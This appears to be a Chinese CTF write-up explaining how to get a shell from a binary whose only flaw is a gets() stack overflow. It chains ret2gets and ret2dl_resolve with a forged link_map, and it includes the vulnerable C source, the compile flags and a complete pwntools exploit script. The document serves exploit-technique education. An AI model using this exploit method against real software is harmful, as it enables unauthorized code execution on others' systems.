仅有gets栈溢出漏洞的攻击方式
引言
在ret2dl_resolve的经典题中,经常会以read为输入参数,并且在x64架构中还会给出控制rdi等寄存器的gadget
当输入参数为gets时,结合ret2getes可以实现无需控制rdi寄存器的gadget即可控制rdi寄存器,最终实现getshell
这里以一道CTF题目为例子
源码
#include<stdio.h>
void stack_overflow()
{
char buf[0x40];
gets(buf);
}
int main(){
stack_overflow();
return 0;
}
编译
gcc -o pwn ./pwn.c -no-pie -fno-stack-protector
exp
from pwn import *
filename = './pwn'
context.arch='amd64'
elf = ELF(filename)
libc = elf.libc
p = process(filename)
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap
gets_got = elf.got['gets']
l_addr = libc.sym['system'] -libc.sym['gets']
plt_load = 0x401026
gets = elf.plt['gets']
bss = 0x404030 + 0x700
payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)
bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got ,l_addr)
payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100,b'\x00')
payload += fake_link_map
p.sendline(payload)
p.sendline(b'/bin'+p8(u8(b"/")+1)+b'sh\x00')
p.interactive()
解题思路
从源码上看,这道题仅有一个gets函数的栈溢出漏洞,没有输入函数,也没有能够控制寄存器的gadget
#include<stdio.h>
void stack_overflow()
{
char buf[0x40];
gets(buf);
}
int main(){
stack_overflow();
return 0;
}
并且没有能够输入伪造linkmap的地方,但熟悉x64架构的应该会联想到在read、gets等输入函数是通过[rbp+var_40]类似汇编来实现输入位置参数的传输的
在这道题中就是
endbr64
push rbp
mov rbp, rsp
sub rsp, 40h
lea rax, [rbp+var_40]
mov rdi, rax
mov eax, 0
call _gets
nop
leave
retn
也就是说,凭借一个栈溢出漏洞即可控制rbp使其指向bss段,接着输入输入伪造linkmap
当然,这里也会导致一个问题,那就是两次的leave ret会造成栈迁移到bss段上
所以当我们输入第二次payload进行ret2dl_resolve时要注意布局
这是第一次payload,控制了rbp为bss+0x40,并且将返回地址填充为[rbp+var_40]那部分汇编,使得能够输入伪造结构体到bss段
payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)
这里的fake_link_map可以跟第二次payload一起输入,这里的fake_link_map直接用网上找到的模板即可
bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got ,l_addr)
payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100,b'\x00')
payload += fake_link_map
p.sendline(payload)
p.sendline(b'/bin'+p8(u8(b"/")+1)+b'sh\x00')
p.interactive()
最终依靠ret2gets控制rdi寄存器为指向/bin/sh的地址即可通过ret2dl_resolve实现在仅有gets栈溢出漏洞的情况下getshell